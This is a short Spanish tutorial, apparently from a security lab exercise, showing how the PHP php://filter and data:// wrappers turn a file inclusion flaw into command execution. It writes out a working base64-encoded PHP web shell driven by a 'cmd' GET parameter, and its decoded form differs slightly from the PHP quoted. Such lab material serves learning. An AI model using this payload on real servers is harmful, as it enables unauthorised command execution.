Los wrappers PHP también pueden ser usados no sólo para leer archivos sino para ejecutar código. La clave aquí es el wrapper php://filter el cual habilita las transformaciónes de archivos al vuelo. Toma el filtro de PHP base64, por ejemplo. Este método permite a los atacantes ejecutar código arbitrario en el servidor usando un payload base64-encodeado.
Por ejemplo, ve a http://IP/playground.php.
Usaremos el código PHP <? system($_GET['cmd']); echo 'Shell done!'; ?> como nuestro payload. El valor del payload, cuando se base64-encodea es php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.
| Position | Field | Value |
|---|---|---|
| 1 | Protocol Wrapper | php://filter |
| 2 | Filter | convert.base64-decode |
| 3 | Resource Type | resource= |
| 4 | Data Type | data://plain/text, |
| 5 | Encoded Payload | PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ |
En la tabla de arriba, PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+ es la versión base64-encodeada del código PHP. Cuando el servidor procesa esta petición, primero decodifica la string en base64 y luego ejecuta el código PHP, permitiendo a un atacante ejecutar comandos en el servidor vía el parámetro GET "cmd".

Es importante no incluir &cmd=whoami en el campo de input ya que será encodeado cuando se suba el formulario. Una vez encodeado, el backend tratará como parte de código base64, dándote un error de secuencia inválida.
